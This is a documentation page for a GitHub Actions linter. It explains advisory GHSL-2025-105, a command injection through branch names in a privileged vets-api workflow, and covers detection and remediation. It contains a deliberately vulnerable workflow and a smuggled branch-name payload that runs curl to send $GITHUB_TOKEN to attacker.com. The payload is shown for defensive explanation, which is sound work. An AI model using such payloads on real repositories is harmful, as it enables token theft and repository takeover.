GHSL-2025-105: Code Injection via Branch Name

GHSL-2025-105: Code Injection via Branch Name #

Summary #

ItemValue
Advisory IDGHSL-2025-105
SeverityCritical
Affected Componentdepartment-of-veterans-affairs/vets-api
CVEN/A
CWECWE-78 (OS Command Injection)
Referencehttps://securitylab.github.com/advisories/GHSL-2025-105_vets-api/

Vulnerability Description #

GHSL-2025-105 is a code injection vulnerability in the ready_for_review.yml workflow. The vulnerability occurs when:

  1. Branch names (github.head_ref, github.event.workflow_run.head_branch) are directly interpolated into shell commands
  2. The workflow uses workflow_run trigger (privileged context)
  3. The workflow has permissions: write-all (maximum privileges)

Attackers can create branches with malicious names to execute arbitrary code.

Attack Vector #

sequenceDiagram
    participant Attacker
    participant Branch
    participant Workflow
    participant Secrets

    Attacker->>Branch: Create branch with malicious name
    Note right of Attacker: Branch: main"; curl attacker.com?t=$GITHUB_TOKEN; echo "
    Attacker->>Branch: Open PR from malicious branch
    Branch->>Workflow: Trigger workflow_run event
    Workflow->>Workflow: HEAD_BRANCH="${{ head_branch }}"
    Note right of Workflow: Shell interprets injected commands
    Workflow->>Secrets: Access all secrets (write-all permissions)
    Workflow-->>Attacker: Complete repository compromise

Vulnerable Code Pattern #

name: Ready for Review (Vulnerable)

on:
  pull_request:
    types: [ready_for_review]
  workflow_run:
    workflows: ["CI", "Tests", "Lint", "Build"]
    types: [completed]

permissions: write-all  # DANGEROUS: Maximum privileges

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # VULNERABLE: Branch name directly interpolated in shell
      - name: Get branch info
        id: branch
        run: |
          echo "pr_branch=${{ github.head_ref }}" >> $GITHUB_OUTPUT

      # VULNERABLE: workflow_run head_branch in shell
      - name: Process workflow run
        if: github.event_name == 'workflow_run'
        run: |
          HEAD_BRANCH="${{ github.event.workflow_run.head_branch }}"
          echo "pr_branch=${{ github.event.workflow_run.head_branch }}" >> $GITHUB_OUTPUT

Exploitation Example #

Branch name:

main"; curl https://attacker.com/steal?token=$GITHUB_TOKEN; echo "

Resulting shell command:

HEAD_BRANCH="main"; curl https://attacker.com/steal?token=$GITHUB_TOKEN; echo ""

sisakulint Detection #

sisakulint detects this vulnerability with multiple rules:

1. code-injection-critical #

[code-injection-critical] "github.head_ref" is potentially untrusted and used
in a workflow with privileged triggers.

[code-injection-critical] "github.event.workflow_run.head_branch" is potentially
untrusted and used in a workflow with privileged triggers.

2. output-clobbering-critical #

[output-clobbering-critical] "github.head_ref" is potentially untrusted and
written to $GITHUB_OUTPUT in a workflow with privileged triggers. Attackers
can inject newlines to overwrite other output variables.

3. dangerous-triggers-critical #

[dangerous-triggers-critical] workflow uses privileged trigger(s) [workflow_run]
without any security mitigations.

4. permissions warning #

[permissions] The 'write-all' scope is too broad, covering all available scopes.

Remediation #

- name: Get branch info
  env:
    HEAD_REF: ${{ github.head_ref }}
  run: |
    echo "pr_branch=$HEAD_REF" >> $GITHUB_OUTPUT

Option 2: Restrict Permissions #

permissions:
  contents: read
  pull-requests: write
# Only request what's needed

Option 3: Use Heredoc for GITHUB_OUTPUT #

- name: Get branch info
  env:
    HEAD_REF: ${{ github.head_ref }}
  run: |
    {
      echo "pr_branch<<EOF"
      echo "$HEAD_REF"
      echo "EOF"
    } >> $GITHUB_OUTPUT

Auto-Fix Support #

sisakulint provides auto-fix for this vulnerability:

sisakulint -fix on script/actions/ghsl/ghsl-2025-105.yaml

Test Files #

  • Vulnerable pattern: script/actions/ghsl/ghsl-2025-105.yaml

References #